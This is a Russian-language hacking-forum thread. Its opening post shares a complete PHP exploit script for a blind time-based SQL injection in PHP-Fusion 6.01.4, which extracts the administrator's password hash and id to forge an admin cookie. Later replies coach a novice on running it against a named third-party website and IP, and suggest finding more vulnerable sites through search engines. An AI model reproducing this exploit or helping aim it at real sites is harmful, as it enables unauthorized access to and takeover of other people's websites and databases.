ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

php-fusion 6.01.4 exploit sql
  #1  
Старый 11.10.2006, 23:38
Аватар для splitefire
splitefire
Новичок
Регистрация: 11.10.2006
Сообщений: 6
Провел на форуме:
15126

Репутация: 17
По умолчанию php-fusion 6.01.4 exploit sql

If somebody needs...

Код:
#!/usr/bin/php -q -d short_open_tag=on 
<? 
print_r(' 
-------------------------------------------------------------------------------- 
PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit 
by rgod rgod@autistici.org 
site: http://retrogod.altervista.org 
-------------------------------------------------------------------------------- 
'); 
/* 
works with 
register globals = *Off* 
magic_quotes_gcp = Off 

explaination: 
vulnerable code in maincore.php at lines 15-21: 

... 
if (ini_get('register_globals') != 1) { 
   $supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS"); 
   foreach ($supers as $__s) { 
      if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE); 
   } 
   unset($supers); 
} 
... 

extract() function can be sometimes a security hazard, in this case it allows 
to overwrite some arrays like _SERVER[] one and launch an sql injection attack, 
ex: 

http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL] 

other attacks may be possible... 
*/ 

if ($argc<3) { 
print_r(' 
-------------------------------------------------------------------------------- 
Usage: php '.$argv[0].' host path OPTIONS 
host:      target server (ip/hostname) 
path:      path to PHPFusion 
Options: 
   -T[prefix:   specify a table prefix (default: fusion_) 
   -p[port]:    specify a port other than 80 
   -P[ip:port]: specify a proxy 
Examples: 
php '.$argv[0].' localhost /fusion/ 
php '.$argv[0].' localhost /fusion/ -p81 
php '.$argv[0].' localhost / -P1.1.1.1:80 
-------------------------------------------------------------------------------- 
'); 
die; 
} 

error_reporting(0); 
ini_set("max_execution_time",0); 
ini_set("default_socket_timeout",5); 

function quick_dump($string) 
{ 
  $result='';$exa='';$cont=0; 
  for ($i=0; $i<=strlen($string)-1; $i++) 
  { 
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) 
   {$result.="  .";} 
   else 
   {$result.="  ".$string[$i];} 
   if (strlen(dechex(ord($string[$i])))==2) 
   {$exa.=" ".dechex(ord($string[$i]));} 
   else 
   {$exa.=" 0".dechex(ord($string[$i]));} 
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} 
  } 
 return $exa."\r\n".$result; 
} 
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; 
function sendpacketii($packet) 
{ 
  global $proxy, $host, $port, $html, $proxy_regex; 
  if ($proxy=='') { 
    $ock=fsockopen(gethostbyname($host),$port); 
    if (!$ock) { 
      echo 'No response from '.$host.':'.$port; die; 
    } 
  } 
  else { 
   $c = preg_match($proxy_regex,$proxy); 
    if (!$c) { 
      echo 'Not a valid proxy...';die; 
    } 
    $parts=explode(':',$proxy); 
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; 
    $ock=fsockopen($parts[0],$parts[1]); 
    if (!$ock) { 
      echo 'No response from proxy...';die; 
   } 
  } 
  fputs($ock,$packet); 
  if ($proxy=='') { 
    $html=''; 
    while (!feof($ock)) { 
      $html.=fgets($ock); 
    } 
  } 
  else { 
    $html=''; 
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { 
      $html.=fread($ock,1); 
    } 
  } 
  fclose($ock); 
  #debug 
  #echo "\r\n".$html; 
} 

$host=$argv[1]; 
$path=$argv[2]; 
$port=80; 
$proxy=""; 
$prefix="fusion_"; 
for ($i=3; $i<$argc; $i++){ 
$temp=$argv[$i][0].$argv[$i][1]; 
if ($temp=="-p") 
{ 
  $port=str_replace("-p","",$argv[$i]); 
} 
if ($temp=="-P") 
{ 
  $proxy=str_replace("-P","",$argv[$i]); 
} 
if ($temp=="-T") 
{ 
  $prefix=str_replace("-T","",$argv[$i]); 
} 
} 
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} 
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} 

$chars[0]=0;//null 
$chars=array_merge($chars,range(48,57)); //numbers 
$chars=array_merge($chars,range(97,102));//a-f letters 
$j=1;$password=""; 
while (!strstr($password,chr(0))) 
{ 
for ($i=0; $i<=255; $i++) 
{ 
if (in_array($i,$chars)) 
{ 
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*"; 
echo "sql -> ".$sql."\n"; 
$sql=urlencode($sql); 
$packet="GET ".$p."news.php HTTP/1.0\r\n"; 
$packet.="Accept: text/plain\r\n"; 
$packet.="Host: ".$host."\r\n"; 
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n"; 
$packet.="Connection: Close\r\n\r\n"; 
usleep(2000000); 
$starttime=time(); 
sendpacketii($packet); 
$endtime=time(); 
echo "starttime -> ".$starttime."\n"; 
echo "endtime -> ".$endtime."\n"; 
$difftime=$endtime - $starttime; 
echo "difftime -> ".$difftime."\n"; 
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;} 

} 
if ($i==255) {die("\nExploit failed...");} 
} 
$j++; 
} 

$chars[]=""; 
$chars[0]=0;//null 
$chars=array_merge($chars,range(48,57)); //numbers 
$j=1;$id=""; 
while (!strstr($id,chr(0))) 
{ 
for ($i=0; $i<=255; $i++) 
{ 
if (in_array($i,$chars)) 
{ 
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*"; 
echo "sql -> ".$sql."\n"; 
$sql=urlencode($sql); 
$packet="GET ".$p."news.php HTTP/1.0\r\n"; 
$packet.="Accept: text/plain\r\n"; 
$packet.="Host: ".$host."\r\n"; 
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n"; 
$packet.="Connection: Close\r\n\r\n"; 
usleep(2000000); 
$starttime=time(); 
sendpacketii($packet); 
$endtime=time(); 
echo "starttime -> ".$starttime."\n"; 
echo "endtime -> ".$endtime."\n"; 
$difftime=$endtime - $starttime; 
echo "difftime -> ".$difftime."\n"; 
if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;} 

} 
if ($i==255) {die("\nExploit failed...");} 
} 
$j++; 
} 
echo "admin cookie -> fusion_user=".trim($id).$password.";\n"; 
?>
 

  #2  
Старый 30.12.2006, 22:38
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Цитата:
Кто может обьяснить, или снять видео, как пользоваться ?) Ну или хоть в двух словах, где что поменять надо, если надо, или написать в командной строке.
Цитата:
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------
мда.
 

  #3  
Старый 02.02.2007, 18:48
Аватар для memo
memo
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме:
18937

Репутация: 0
По умолчанию

Взял на пробу этот эксплойт, нашел шпаргалку: http://forum.antichat.ru/threadnav26510-1-10.html

далее нашел вот это:

Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[iport]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80

цель выбрал эту - www.conadsis.com (IP: 70.86.20.18)

php у меня на c:\php\php.exe там же и sploit.php

пишу по шпаргалке (cmd):

c:\php\php.exe c:\php\sploit.php '.$argv[0].' 70.86.20.18
или
c:\php\php.exe c:\php\sploit.php '.$argv[0].' www.conadsis.com

получаю какую-то херню ввиде прокрутки текста эксплойта.

В чем ошибка? Правильно ли записываю аргументы? Может быт при инсталяции php надо указывать какие-нибудь опции?

P.S. Пробую впервые, для спортивного интересу, php и perl не знаю, но, вроде, по написаному ничего сложного нет. Может шпаргалка кривая?
 

  #4  
Старый 02.02.2007, 19:32
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Пиши так:

php c:\sp\sp.php http://site.ru /fusion/

А вообще если написать без параметров, т.е. так:

php c:\sp\sp.php

То появится сообщение в котором будет написано как правльно писать, и там нету '.$argv[0].' - это ты взял в самом коде, а на экран выведется содержимое это переменной, а её содержимое это путь к файлу-сплоиту, вот и всё. Будь внимательнее.

Последний раз редактировалось Grey; 02.02.2007 в 19:37..
 

  #5  
Старый 06.02.2007, 13:53
Аватар для memo
memo
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме:
18937

Репутация: 0
По умолчанию

пАнял, спасибо. Бум пробовать.
 

  #6  
Старый 06.02.2007, 15:32
Аватар для memo
memo
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме:
18937

Репутация: 0
По умолчанию

Цитата:
Сообщение от ~Real F@ck!~  
Закинте парочку другою сайтиков на этом двиге.
В гогле набери "php-fusion 6.01.4" и будет тебе счастье там штук двадцать сразу выдаст.
 

  #7  
Старый 06.02.2007, 16:08
Аватар для memo
memo
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме:
18937

Репутация: 0
По умолчанию

Цитата:
Сообщение от Grey  

А вообще если написать без параметров, т.е. так:

php c:\sp\sp.php
Набрал.
Получил что-то не то:

Parse error: syntax error, unexpected T_STRING in c:\sp\sp.php on line 108


это, вроде, сообщение о синтаксической ошибке. У меня версия PHP - 5.0.4, может надо поновее или что-то в сплойте не так?
 

  #8  
Старый 06.02.2007, 19:35
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

2 memo
Форум добавил пробел на 108 строке в переменную $html , убери его
__________________
 

  #9  
Старый 06.02.2007, 22:48
Аватар для memo
memo
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме:
18937

Репутация: 0
По умолчанию

Цитата:
Сообщение от +toxa+  
2 memo
Форум добавил пробел на 108 строке в переменную $html , убери его
спасибо, нашел, бум смотреть дальше
 

  #10  
Старый 06.02.2007, 23:45
Аватар для memo
memo
Новичок
Регистрация: 28.01.2007
Сообщений: 10
Провел на форуме:
18937

Репутация: 0
По умолчанию

Может быть что-то в инсталяции или настройках php не так, после ввода с консоли

c:\php\>php c:\sp\sp.php

выдаёт распечатку файла sp.php, как после досовской команды type.

Ощущение такое, что интерпретатор php не работает. Сейчас пробую дома на php 5.2.0

Раньше пробовал на работе, на более древней версии php, но там интерпретатор работал, выдавал синтаксическую ошибку. Есть ли какие особенности инсталирования или какие-то явные причины нерабочего состояния интерпретатора php?

Последний раз редактировалось memo; 06.02.2007 в 23:48..
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ